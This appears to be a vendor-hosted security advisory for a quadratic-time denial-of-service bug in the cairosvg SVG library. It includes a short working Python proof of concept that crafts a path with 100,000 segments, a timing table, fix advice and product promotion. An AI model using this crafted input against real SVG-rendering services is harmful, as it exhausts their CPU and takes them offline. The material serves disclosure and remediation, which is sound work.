Summary
CairoSVG: Quadratic-time DoS parsing a crafted SVG <path>
Rendering an untrusted SVG whose <path d="..."> contains many segments is O(n²) CPU. A single <path> under 1 MiB burns tens of seconds. Two independent O(n²) sites in cairosvg/path.py:
- Tokenizer, the path-data parser consumes the
dstring with awhile string:loop that repeatedly slices/re-scans the remaining string (each step is O(len remaining)), giving O(n²) over the whole attribute. - draw_markers, marker handling drains
node.verticeswithwhile node.vertices: ... node.vertices.pop(0);list.pop(0)is O(n), so draining n vertices is O(n²).
Both are hit on a normal render path (svg2png/svg2pdf), attacker controls only the SVG document.
PoC (installed cairosvg 2.9.0)
import cairosvg
d = "M0 0 " + "L1 1 " * 100000
svg = f'<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><path d="{d}"/></svg>'
cairosvg.svg2png(bytestring=svg.encode()) # ~4.4 s for a 488 KB doc
| path segments | SVG size | time |
|---|---|---|
| 50,000 | 244 KB | 1.14 s |
| 100,000 | 488 KB | 4.36 s |
| 200,000 | ~960 KB | ~18 s |
Doubling segments ≈ 4× time ⇒ quadratic. Sub-MiB input ⇒ ~18 s CPU; any service rendering user-supplied SVG (thumbnails, avatars, PDF export) is a DoS target.
Reachability
Public API svg2png / svg2pdf / svg2ps on an untrusted SVG string.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Tokenize with a single forward scan / index (or re.finditer) instead of re-slicing the remainder; drain vertices with an index or collections.deque.popleft instead of list.pop(0). Optionally cap path-segment count.
Frequently Asked Questions
- What is CVE-2026-107378? CVE-2026-107378 is a high-severity security vulnerability in cairosvg (pip), affecting versions <= 2.9.0. It is fixed in 2.9.1.
- Which versions of cairosvg are affected by CVE-2026-107378? cairosvg (pip) versions <= 2.9.0 is affected.
- Is there a fix for CVE-2026-107378? Yes. CVE-2026-107378 is fixed in 2.9.1. Upgrade to this version or later.
- Is CVE-2026-107378 exploitable, and should I be worried? Whether CVE-2026-107378 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107378 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107378? Upgrade
cairosvgto 2.9.1 or later.